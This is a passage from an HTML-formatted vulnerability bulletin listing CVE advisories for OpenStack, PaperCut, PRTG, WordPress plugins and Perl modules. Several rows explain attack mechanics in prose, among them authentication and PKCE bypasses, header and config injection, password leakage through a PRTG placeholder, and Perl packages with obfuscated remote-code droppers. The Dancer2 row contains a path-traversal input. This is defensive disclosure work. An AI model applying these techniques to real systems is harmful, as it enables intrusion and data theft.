&lt;td&gt;OpenEXR 3.4.14 contains a NULL Pointer Dereference in the C++ attribute parsing path. A specially crafted EXR file containing an unknown-type attribute with dataSize set to zero causes the parser to create an opaque attribute with a NULL packed_data pointer. The OpaqueAttribute constructor passes the NULL pointer to memcpy() without validating the zero-size condition, resulting in undefined behavior and process termination, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88384&quot; target=&quot;_blank&quot;&gt;CVE-2026-88384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack Glance--OpenStack Glance&lt;/td&gt;
&lt;td&gt;A Server-Side Request Forgery (SSRF) vulnerability exists in the Image API (v2) of OpenStack Glance. When the show_multiple_locations configuration option is enabled in glance-api.conf, an authenticated attacker can manipulate the locations attribute of an image in the queued state by sending a crafted HTTP PATCH request&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51772&quot; target=&quot;_blank&quot;&gt;CVE-2026-51772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack--Octavia&lt;/td&gt;
&lt;td&gt;In OpenStack Octavia before 18.0.1, the Amphora provider driver did not reject control characters in the L7 policy redirect_url and redirect_prefix fields. The RFC 3986 URL validator percent-encodes control characters before validating, and thus newlines passed structural checks, but Octavia stored and wrote the raw unencoded value directly into the HAProxy configuration generated on the amphora. An authenticated project member who owns a load balancer can therefore inject arbitrary HAProxy directives through a REDIRECT_TO_URL L7 policy. Only deployments using the Amphora provider are affected.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94571&quot; target=&quot;_blank&quot;&gt;CVE-2026-94571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack--Octavia&lt;/td&gt;
&lt;td&gt;In OpenStack Octavia before 18.0.1, the Amphora provider driver did not validate the listener and pool tls_ciphers field for control characters. The value is written verbatim into the HAProxy configuration generated on the amphora, and thus an authenticated project member who owns a TLS-enabled load balancer can embed a newline and inject arbitrary HAProxy configuration directives. Only deployments using the Amphora provider are affected.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94572&quot; target=&quot;_blank&quot;&gt;CVE-2026-94572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack--Swift&lt;/td&gt;
&lt;td&gt;In OpenStack Swift before 2.38.2, the tempurl middleware does not reject the X-Copy-From header on PUT requests. A TempURL signature only covers the method, expiry, and path, and thus the list of disallowed headers is the only defense against a signed PUT request changing what the request does. An attacker holding a PUT TempURL for a single object can add an X-Copy-From header naming any object in the same account; the copy middleware copies that object to the destination, and the attacker then reads the victim&#039;s data back with a GET TempURL for the destination object. Copies across account boundaries are rejected. Only deployments using the shipped default proxy pipeline (tempurl and copy middleware) with account-level TempURL keys are affected.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97149&quot; target=&quot;_blank&quot;&gt;CVE-2026-97149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack--Zaqar&lt;/td&gt;
&lt;td&gt;In OpenStack Zaqar before 22.0.2, WSGI transport mishandles the URL-Signature header. By sending a request with an empty URL-Signature header, an unauthenticated remote attacker who knows a target project&#039;s UUID may bypass both Keystone authentication and pre-signed URL verification, resulting in the ability to read, enumerate, create, and delete that project&#039;s queues, messages, claims, and subscriptions. By additionally claiming an administrative role, the attacker may also perform administrative operations, such as managing pools and flavors in admin_mode deployments. Only deployments using the WSGI transport with an authentication strategy configured are affected; the websocket transport is not affected.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97404&quot; target=&quot;_blank&quot;&gt;CVE-2026-97404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenText--Vendor Invoice Management for SAP Solutions&lt;/td&gt;
&lt;td&gt;A Stored Cross-Site Scripting (XSS) vulnerability has been identified in OpenText Vendor Invoice Management for SAP Solutions Capture Validation application. Under certain conditions, this issue could allow execution of unauthorized script content in a user&#039;s browser, potentially impacting confidentiality and integrity of information processed through the application.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12559&quot; target=&quot;_blank&quot;&gt;CVE-2026-12559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Optima Express IDX--Optima Express IDX&lt;/td&gt;
&lt;td&gt;The Optima Express IDX WordPress plugin before 8.7.6 does not perform any authorisation check on one of its AJAX actions that is available to logged-out users, allowing unauthenticated attackers to force the creation of a fixed author-role account and to repeatedly rotate its application password on any connected install.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96897&quot; target=&quot;_blank&quot;&gt;CVE-2026-96897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Optima Express IDX--Optima Express IDX&lt;/td&gt;
&lt;td&gt;The Optima Express IDX WordPress plugin before 8.7.6 does not properly neutralise a script value submitted through one of its REST endpoints before storing it and echoing it into the document head when the post is rendered, allowing users with a role as low as author to perform Stored Cross-Site Scripting attacks.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96899&quot; target=&quot;_blank&quot;&gt;CVE-2026-96899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Optimole--Optimole&lt;/td&gt;
&lt;td&gt;The Optimole WordPress plugin before 4.2.13 does not escape unrecognized attributes of its video-player block before rendering them onto the block&#039;s wrapper element, allowing users with the Author role and above to store an event-handler attribute that executes scripts in the browser of any user, such as an administrator, who views the post.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96531&quot; target=&quot;_blank&quot;&gt;CVE-2026-96531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paessler GmbH--PRTG Network Monitor&lt;/td&gt;
&lt;td&gt;Paessler PRTG Network Monitor before version 26.2.120.1449 is affected by a reflected Cross-Site Scripting (XSS) vulnerability. When a request is made for a non-existent resource ending in \&quot;.htm\&quot;, the web interface returns an HTTP 403 \&quot;Forbidden Path\&quot; error page that echoes the requested URL path into the HTML response body without proper output encoding or sanitization. An unauthenticated, remote attacker can craft a URL containing an HTML/JavaScript payload in the path (e.g. https:////welcome.htm) and, once a victim with an active PRTG session opens the crafted link, execute arbitrary JavaScript in the security context of the PRTG web interface. Because the PRTG session cookie is not protected with the HttpOnly attribute, successful exploitation allows the attacker to read and exfiltrate the victim&#039;s session cookie, potentially leading to session hijacking.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4637&quot; target=&quot;_blank&quot;&gt;CVE-2026-4637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paessler GmbH--PRTG Network Monitor&lt;/td&gt;
&lt;td&gt;PRTG Network Monitor before version 26.2.120.1449 ships a demo EXE/Script sensor that multiplies two integer parameters using cscript.exe. If a non-numeric value is passed instead, cscript.exe raises a &#039;Type mismatch&#039; runtime error that includes the offending parameter value in plaintext. PRTG provides a documented placeholder variable, %windowspassword, which resolves to the configured Windows/domain password used by PRTG and can be passed as a sensor parameter.&amp;nbsp; Any PRTG user who is not restricted to read-only access and is permitted to create sensors (the default for non-read-only users) can pass %windowspassword as an argument to the demo VBScript sensor, triggering the type-mismatch error and causing PRTG to display the plaintext password in the sensor&#039;s error output.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4638&quot; target=&quot;_blank&quot;&gt;CVE-2026-4638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pagekit--Pagekit CMS&lt;/td&gt;
&lt;td&gt;Pagekit CMS &amp;lt;= 1.0.18 allows an unauthenticated attacker to perform SQL injection through the credentials array submitted to the public login endpoint (POST /user/authenticate).&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88756&quot; target=&quot;_blank&quot;&gt;CVE-2026-88756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paid Membership Subscriptions--Paid Membership Subscriptions&lt;/td&gt;
&lt;td&gt;The Paid Membership Subscriptions WordPress plugin before 3.1.0 does not bind one of its unauthenticated payment actions to the requesting user, allowing someone who holds another member&#039;s in-flight payment identifier to delete that member&#039;s checkout state.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90951&quot; target=&quot;_blank&quot;&gt;CVE-2026-90951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PaperCut--PaperCut Hive&lt;/td&gt;
&lt;td&gt;An input validation vulnerability exists in the PaperCut Hive embedded application for Ricoh devices. The application fails to properly sanitize input received during the NFC card reading process before passing it to the application&#039;s web view interface. A local attacker with physical access to the device and a specially crafted NFC card or emulator could exploit this flaw to execute arbitrary code within the context of the application&#039;s user interface. This could result in unauthorized actions or information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11744&quot; target=&quot;_blank&quot;&gt;CVE-2026-11744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PaperCut--PaperCut NG/MF&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the PaperCut NG/MF platform&#039;s device-scripting functionality due to insufficient sanitization and access restrictions within the embedded execution engine. An authenticated user with administrative access to the management interface can supply a malicious script that escapes the runtime sandbox. A successful execution enables an attacker to run unauthorized operating system commands with administrative privileges on the host operating system.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14780&quot; target=&quot;_blank&quot;&gt;CVE-2026-14780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PaperCut--PaperCut NG/MF&lt;/td&gt;
&lt;td&gt;An improper limitation of a pathname to a restricted directory (path traversal) vulnerability in the Scan-to-Fax component of PaperCut NG and PaperCut MF allows an authenticated administrator to execute arbitrary commands on the underlying host via&amp;nbsp;crafted fax provider settings.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82077&quot; target=&quot;_blank&quot;&gt;CVE-2026-82077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PaperCut--PaperCut NG/MF&lt;/td&gt;
&lt;td&gt;An improper authentication vulnerability in PaperCut MF/NG allows an unauthenticated,&amp;nbsp;remote attacker to trigger report generation. By submitting report generation requests without valid credentials, an attacker can generate reports and gain unauthorized access to sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87739&quot; target=&quot;_blank&quot;&gt;CVE-2026-87739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Payment Plugins for PayPal WooCommerce--Payment Plugins for PayPal WooCommerce&lt;/td&gt;
&lt;td&gt;The Payment Plugins for PayPal WooCommerce WordPress plugin before 2.0.27 does not verify that a PayPal order supplied in a payment request belongs to the WooCommerce order being paid unless that PayPal order has already been completed, allowing unauthenticated attackers to have another buyer&#039;s approved but uncaptured payment captured against an order of their own.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80342&quot; target=&quot;_blank&quot;&gt;CVE-2026-80342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paymob for WooCommerce--Paymob for WooCommerce&lt;/td&gt;
&lt;td&gt;The Paymob for WooCommerce WordPress plugin before 4.1.14 does not verify the request signature on the card-token branch of its payment webhook, allowing unauthenticated attackers to write a card-token record to any user&#039;s account and to enumerate registered accounts.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87979&quot; target=&quot;_blank&quot;&gt;CVE-2026-87979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paymob for WooCommerce--Paymob for WooCommerce&lt;/td&gt;
&lt;td&gt;The Paymob for WooCommerce WordPress plugin before 4.1.14 does not perform a capability check on several admin AJAX actions that manage its payment-gateway configuration, allowing users with contributor-level access to delete, wipe, or modify that configuration, including the stored payment credentials.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87981&quot; target=&quot;_blank&quot;&gt;CVE-2026-87981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Dancer2&lt;/td&gt;
&lt;td&gt;Dancer2 versions from 2.0.0 before 2.2.0 for Perl dispatch a route that a dying hook refused when the exception handler halts the response in compile_hooks. A hook that dies fires core.app.hook_exception, then calls cleanup unless the failing hook is the exception handler. A handler that halts does not stop that cleanup, which discards the request, response and session the dispatcher has yet to read, so the refused route runs. The handler has to halt the response object by calling its halt method or setting is_halted: the halt keyword unwinds through with_return before cleanup runs. A check in a before hook is not enforced: the caller gets the refusal, while the route body runs and its writes land.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93710&quot; target=&quot;_blank&quot;&gt;CVE-2026-93710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Dancer2&lt;/td&gt;
&lt;td&gt;Dancer2 versions before 2.2.0 for Perl do not strip CR and LF from response header names in headers_to_array. The routine removes CR and LF from each header value but not from the name. A name carrying them therefore reaches the PSGI server intact. A server that does not validate keys writes it to the wire, so the bytes after the CRLF arrive as their own header line. The application has to derive the header name from request data, not just the value. An attacker who controls that data adds their own headers and splits the response.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93711&quot; target=&quot;_blank&quot;&gt;CVE-2026-93711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Dancer2&lt;/td&gt;
&lt;td&gt;Dancer2 versions from 2.1.0 before 2.2.0 for Perl serve files from outside public_dir via relative path segments in the File route handler. The handler joins the request path onto public_dir without collapsing relative segments, and checks only that the result is a readable regular file. A request for `/../outside.txt` escapes public_dir, and percent-encoding the dots reaches the same file. The handler is off by default. An application is affected once it names File in route_handlers and sets static_handler to 0, which otherwise refuses a dot segment before the route runs. Any file the worker process can read is served to an unauthenticated request, including the application&#039;s config.yml above public_dir.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93712&quot; target=&quot;_blank&quot;&gt;CVE-2026-93712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Dancer2&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Dancer2 versions before 2.2.0 for Perl serve a layout as a page when an equivalent spelling of its path misses the guard in the AutoPage handler. The handler compares the request path against the layout directory name as text, while the lookup that follows canonicalises it. A doubled slash, a dot segment, a percent-encoded slash, or a different capitalisation on a case-insensitive filesystem therefore misses the guard. The handler is off by default, enabled with auto_page. The layout wrapping every page is already public, so this discloses one of the application&#039;s other layouts.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93709&quot; target=&quot;_blank&quot;&gt;CVE-2026-93709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Handler&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Lemonldap::NG::Handler versions from 2.0.0 before 2.16.10, from 2.17.0 before 2.21.6, from 2.22.0 before 2.23.4 for Perl allow an equivalent spelling of a path to bypass the locationRules that restrict it. The handler matches each vhost&#039;s locationRules regular expressions against REQUEST_URI, the raw request line, while the web server routes on the path it has already percent-decoded and normalized. A request that percent-encodes a character of the path, inserts dot segments, or doubles a slash therefore reaches the protected resource under a URI that no rule regexp matches, and the vhost&#039;s default rule decides access. Deny rules, identity and group conditions, and unprotect and skip rules are bypassed alike. Only a vhost whose default rule is more permissive than its other rules is affected. An authenticated user then reaches any URL a locationRules regexp was meant to restrict, but gains no more than that default rule already grants.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95811&quot; target=&quot;_blank&quot;&gt;CVE-2026-95811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Portal&lt;/td&gt;
&lt;td&gt;Lemonldap::NG::Portal versions from 2.20.0 before 2.21.6, from 2.22.0 before 2.23.4 for Perl allow unauthenticated OAuth2 token introspection because checkEndPointAuthenticationCredentials does not verify the client secret of a public Relying Party. checkEndPointAuthenticationCredentials() skips the secret comparison for a Relying Party marked public and still returns the authentication method deduced from the request, client_secret_basic or client_secret_post. introspection() rejects a caller only when that method is missing or none, so a request carrying a public client_id and an arbitrary or empty secret passes the endpoint&#039;s authentication check. An attacker who holds an access token and knows the client_id of any public Relying Party can confirm the token is active and read its metadata, including scope, audience, expiry and the sub claim. The sub claim is computed with the calling Relying Party&#039;s user identifier attribute, so an attacker can translate a user identifier from one Relying Party to another, defeating per-client and pseudonymous identifiers.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92288&quot; target=&quot;_blank&quot;&gt;CVE-2026-92288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Portal&lt;/td&gt;
&lt;td&gt;Lemonldap::NG::Portal versions from 2.23.0 before 2.23.4 for Perl allow a PKCE bypass for public Relying Parties in &quot;PKCE or secret&quot; mode because checkEndPointAuthenticationCredentials does not verify the client secret. With oidcRPMetaDataOptionsRequirePKCE set to 2, the authorization endpoint issues a code even when the request carries no code_challenge, and token() admits the exchange as long as a challenge was stored or an authentication method was returned for the caller. checkEndPointAuthenticationCredentials() skips the secret comparison for a Relying Party marked public and still returns the method deduced from the request, so any Basic or form credential satisfies the secret branch. validatePKCEChallenge() then passes, because neither a challenge nor a verifier is present. An attacker who intercepts an authorization code issued to a public Relying Party can exchange it for the user&#039;s access, ID and refresh tokens by replaying the client_id with an arbitrary secret, which is the attack PKCE prevents. Dynamic client registration creates every Relying Party in this mode.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92289&quot; target=&quot;_blank&quot;&gt;CVE-2026-92289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Punycode&lt;/td&gt;
&lt;td&gt;Net::IDN::Punycode versions before 2.590 for Perl hang, crash or return a wrong label via unvalidated malformed UTF-8 in encode_punycode. Neither backend checks that its input is well-formed UTF-8, so a string with the UTF-8 flag set over malformed bytes, as the :utf8 PerlIO layer produces from any malformed input, reaches the encoder unchecked. On perl 5.32 and later the XS backend reports a malformed sequence with a length of `(STRLEN)-1`, so the scan steps back one byte instead of forward and never ends. On earlier perls the XS returns a valid label for a different name. The pure-Perl backend runs a regex over the flagged string. Depending on the bytes, it aborts with SIGBUS on perl 5.28 and later, dies with a panic, or returns a wrong label. The documented conversion functions match the label against Unicode properties first and that match dies on such a string, so only a direct call to encode_punycode reaches the defect. The decoder is not affected. A direct caller encoding attacker-supplied bytes hangs, crashes or gets a label for a name the input never held.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87082&quot; target=&quot;_blank&quot;&gt;CVE-2026-87082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Seal&lt;/td&gt;
&lt;td&gt;Catalyst::Seal versions before 0.03 for Perl allow one request to disable a path or route a later one past an authorization check via a dispatch memo keyed on the request path alone. Catalyst::Seal replaces the dispatcher&#039;s prepare_action with a version that memoises how a path resolved: which dispatch type matched, at which level, and what was left over as arguments. The key is the request path and nothing else. Action roles that match on the method, content type, scheme or query make that resolution depend on state the key does not carry, so the memo answers for a request it was not built from. A path that resolves to no action is memoised as well, and replaying that entry returns without consulting any dispatch type, so no action is set and the request fails. A GET of a path whose action is declared POST-only therefore disables that path for every later request, the correct POST included. An entry that did resolve replays the level the earlier descent reached. Where a POST-only action sits below a shallower action on the same path, a GET memoises the shallow route, and a later POST is dispatched there with an auto() guarding the deeper controller never running. The memo is cleared only when an action is registered, which happens at setup, so an entry lasts for the life of the process, and its cap of 2048 entries bounds how many paths one caller can disable. In the configuration measured, the misroute lands on the less privileged action, so it is an authorization check not running rather than a privilege gain.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85491&quot; target=&quot;_blank&quot;&gt;CVE-2026-85491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--SelfCertificate&lt;/td&gt;
&lt;td&gt;Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generate_certificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated with base64 encoding and run the response body directly. The impact is that arbitrary code can be invoked as the user, without a dropped script being saved on the affected host. The releases have no test scripts nor build hooks. The intention may have been to trigger the payload after installation. For version 1.01, the dropper script is in lib/Crypt/SelfCertificate/sample/validate.p12. For version 1.05, the dropper script is in lib/Crypt/SelfCertificate/sample/cert7.pem. The SHA-256 digests of the files are fbff21f45ff748365062a5e36fb2d72558cad82a507a6f357f320b4fcdf07760 Crypt-SelfCertificate-1.01.tar.gz 27b2d2d3174ad771474fff2521f5084ec231e9218ea8c832515aef1cbd5897bc lib/Crypt/SelfCertificate/sample/validate.p12 9fdfa7d69b034b77d4510cda567e8da1e486ca81c7daaadc5732a45c41d71991 Crypt-SelfCertificate-1.05.tar.gz 27b2d2d3174ad771474fff2521f5084ec231e9218ea8c832515aef1cbd5897bc lib/Crypt/SelfCertificate/sample/cert7.pem&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95831&quot; target=&quot;_blank&quot;&gt;CVE-2026-95831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--SelfCertificate&lt;/td&gt;
&lt;td&gt;IO::Socket::SSL::SelfCertificate versions 1.00 for Perl contains malware which executes Python code from an obfuscated URL. The generate_certificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated with base64 encoding and run the response body directly. The impact is that arbitrary code can be invoked as the user, without a dropped script being saved on the affected host. The releases have no test scripts nor build hooks. The intention may have been to trigger the payload after installation. The dropper script is in lib/Crypt/SelfCertificate/sample/cert.pem. This is similar to CVE-2026-95831 for the module Crypt::SelfCertificate. The SHA-256 digests of the files are ba24ee8ec3b7f47f65bed62e16fb413ace50653cf44bd8ea90914390922831e0 IO-Socket-SSL-SelfCertificate-1.00.tar.gz 821d38830e5eb8607738421c25ac25f59fff02a6ab67daa32fbd020429454dac IO-Socket-SSL-SelfCertificate-1.00/lib/IO/Socket/SSL/SelfCertificate/sample/cert.pem d483cb7b23b7271cb11cf242bff4a2e1c02df0b9525eb0429abeea8961c399d5 IO-Socket-SSL-SelfCertificate-1.00-upload.tar.gz&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97230&quot; target=&quot;_blank&quot;&gt;CVE-2026-97230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perl--Sendmail&lt;/td&gt;
&lt;td&gt;Email::Sender::Transport::Sendmail versions before 2.602 for Perl allow arbitrary command execution on Windows sending a message whose envelope address reaches the shell in _sendmail_pipe. On MSWin32 the envelope sender and every recipient go into a single command string, which open() passes to a shell. Every other platform gets the list form, which runs sendmail directly. When the caller supplies no envelope, Email::Sender::Simple takes the recipients from the To and Cc headers and the sender from the From header. An attacker who controls one of those header addresses runs commands as the sending process.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93012&quot; target=&quot;_blank&quot;&gt;CVE-2026-93012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
